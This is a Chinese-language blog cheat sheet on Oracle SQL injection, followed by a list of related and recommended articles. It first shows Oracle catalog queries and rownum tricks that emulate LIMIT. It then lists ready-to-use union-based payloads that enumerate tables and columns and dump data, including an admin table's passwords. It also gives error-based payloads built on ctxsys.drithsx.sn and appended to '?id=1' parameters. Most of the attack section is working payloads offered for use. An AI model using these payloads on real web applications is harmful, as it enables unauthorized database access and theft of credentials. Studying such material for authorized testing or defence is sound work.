Oracle

查询出所有的表

select * from all_tables

查询出当前用户的表

select * from user_tables

查询出所有的字段

select*from all_tab_columns

查询出当前用户的字段

select*from user_tab_columns

查版本

select*from v$version

查询第一行

select * from all_tables where rownum=1

查询多行,参考实现limit的功能的

实现limit的功能

  1. rownum输出
select * from all_tables where rownum=1; // 输出一行;
select * from all_tables where rownum<3; // 输出两行
select * from all_tables where rownum<n; // 输出n-1行
  1. 查询结果去掉没用的
select password from admin where password<>'asd123';
select password from admin where password<>'asd123' and password<>'zxc12312ws';
  1. 基于行数别名的子查询
查询admin表中的username字段,并在字段前面加上行号,想要利用行号就必须得取个别名,不然会和外面查询的rownum冲突 :
select rownum as rr, username from admin;
select username from (select rownum as rr, username from admin) where rr = 1;
想要改变行数只需要改变行号就可以了 :
select username from (select rownum as rr, username from admin) where rr = 2;

注入手法

显错注入

  1. 查询当前数据库字段,查看回显点
order by n
union all select null,null,null,null from user_tables
  1. 查询当前数据库(表)(oracle弱化了库,强调用户)
union all select null,table_name,null,null from user_tables
  1. 查询当前数据表中字段
union all select null,column_name,null,null from user_tab_columns where table_name = '表名'
  1. 查询数据
union all select null,null,null,字段名 from 表名
  1. 只允许输出一条数据的

模拟limit

union all select null,null,null,字段名 from (select rownum as r, 字段名 from 表名) where r=1

查询结果去掉没用的

union all select null,null,null,字段名 from 字段名 where 字段名<>数据 and 字段名<>数据

报错注入

需要用到的函数 CTXSYS.DRITHSX.SN(用户,(查询的语句)) 查询数据库版本

  • 去查询关于主题的对应关键字,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
  1. 查询表
?id=1 and 1= ctxsys.drithsx.sn(1,(select table_name from (select rownum r,table_name from user_tables) where r=1))
  1. 数据字段
ctxsys.drithsx.sn(1,(select column_name from (select rownum r,column_name from user_tab_columns where table_name='ADMIN') where r=1))
  1. 数据
?id=1 and 1= ctxsys.drithsx.sn(1,(select uname from (select rownum r,uname from admin) where r=1))

Oracle注入的更多相关文章

  1. 【转载】犀利的 oracle 注入技术

    介绍一个在web上通过oracle注入直接取得主机cmdshell的方法. 以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTEN ...

  2. Oracle注入之带外通信

    Oracle注入之带外通信和DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似. 下面介绍这个技术中常用的函数和使用. 环境这里准备两台测试,一台注入点的靶机 ...

  3. 【实战】Oracle注入总结

    小结: Union联合查询: order by 定字段 and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下 and 1=2 ...

  4. Oracle注入速查表

    注:下面的一部分查询只能由admin执行,我会在查询的末尾以"-priv“标注. 探测版本: SELECT banner FROM v$version WHERE banner LIKE ‘ ...

  5. src/众测篇:oracle注入过滤-- , + - * /,case when ,select,from,decode等函数如何证明是注入?

    (1)nullif: NULLIF:如果exp1和exp2相等则返回空(NULL),否则返回第一个值 真: 假: (2)nvl/nvl2 测试失败无法实现:)记录   (3)如果是oracle报错注入 ...

  6. 记录一次Oracle注入绕waf

    这个注入挺特殊的,是ip头注入.我们进行简单的探测: 首先正常发起一次请求,我们发现content-type是76 探测注入我习惯性的一个单引号: 一个单引号我发现长度还是76 我开始尝试单引号,双引 ...

  7. Oracle注入漏洞

    sqlmap.py -u "http://10.7.82.123:9104/servlet/json" --cookie="JSESSIONID=abcgk26KDf_5 ...

  8. Oracle报错注入总结

    0x00 前言 在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中. 使用报错注入需要使用类似 1=[报错语句],1>[报错语句], ...

  9. Oracle联合注入总结

    Oracle常规联合注入 Oracle Database,又名Oracle RDBMS,或简称Oracle.是甲骨文公司的一款关系数据库管理系统. Oracle对于MYSQL.MSSQL来说意味着更大 ...

随机推荐

  1. 在docker中出现的僵尸进程怎么处理

    GreatSQL社区原创内容未经授权不得随意使用,转载请联系小编并注明来源. 一.发现问题 小玲是一名数据库测试人员,这一天她尝试在docker环境中部署GreatDB集群,结果在对greatsqld ...

  2. 在Linux下源码编译安装GreatSQL/MySQL

    欢迎来到 GreatSQL社区分享的MySQL技术文章,如有疑问或想学习的内容,可以在下方评论区留言,看到后会进行解答 GreatSQL社区原创内容未经授权不得随意使用,转载请联系小编并注明来源. 本 ...

  3. Apache DolphinScheduler 2.X保姆级源码解析,中国移动工程师揭秘服务调度启动全流程

    2022年1月,科学技术部高新技术司副司长梅建平在"第六届中国新金融高峰论坛"上表示,当前数据量已经大大超过了处理能力的上限,若信息技术仍然是渐进式发展,则数据处理能力的提升将远远 ...

  4. 从贡献第一个 pr 开始,我的开源之路正式开启

    点击上方蓝字关注我们 1 我是一名开源爱好者 我是李进勇,Github Id:JinyLeeChina,目前就职于政采云,专注于大数据平台及数仓领域,是开源项目爱好者. 2 我与小海豚的不解之缘 记得 ...

  5. 安装 NetworkManager(Debian最小化安装)

    Debian最小化安装是没有NetworkManager 1 安装: 2 [root@debian]apt install -y netwok-manager 1 启动(查看网卡): 2 [root@ ...

  6. 乘风破浪,遇见最佳跨平台跨终端框架.Net Core/.Net生态 - 官方扩展集锦(Microsoft.Extensions on Nuget)

    什么是Microsoft.Extensions .NET Platform Extensions是一套.Net官方的API集合,提供了一些常用的编程模式和实用工具,例如依赖项注入.日志记录.缓存.Ho ...

  7. mybatisplus入门

    一.maven项目文件 点击查看代码 <dependency> <groupId>org.springframework.boot</groupId> <ar ...

  8. 算法模板:dijkstra

    #include<iostream> #include<algorithm> #include<cstring> #include<string> #i ...

  9. 字节跳动端智能工程链路 Pitaya 的架构设计

    Client AI 是字节跳动产研架构下属的端智能团队,负责端智能 AI 框架和平台的建设,也负责模型和算法的研发,为字节跳动开拓端上智能新场景.本文介绍的 Pitaya 是由字节跳动的 Client ...

  10. .Net+Vue3实现数据简易导入功能

    在开发的过程中,上传文件或者导入数据是一件很常见的事情,导入数据可以有两种方式: 前端上传文件到后台,后台读取文件内容,进行验证再进行存储 前端读取数据,进行数据验证,然后发送数据到后台进行存储 这两 ...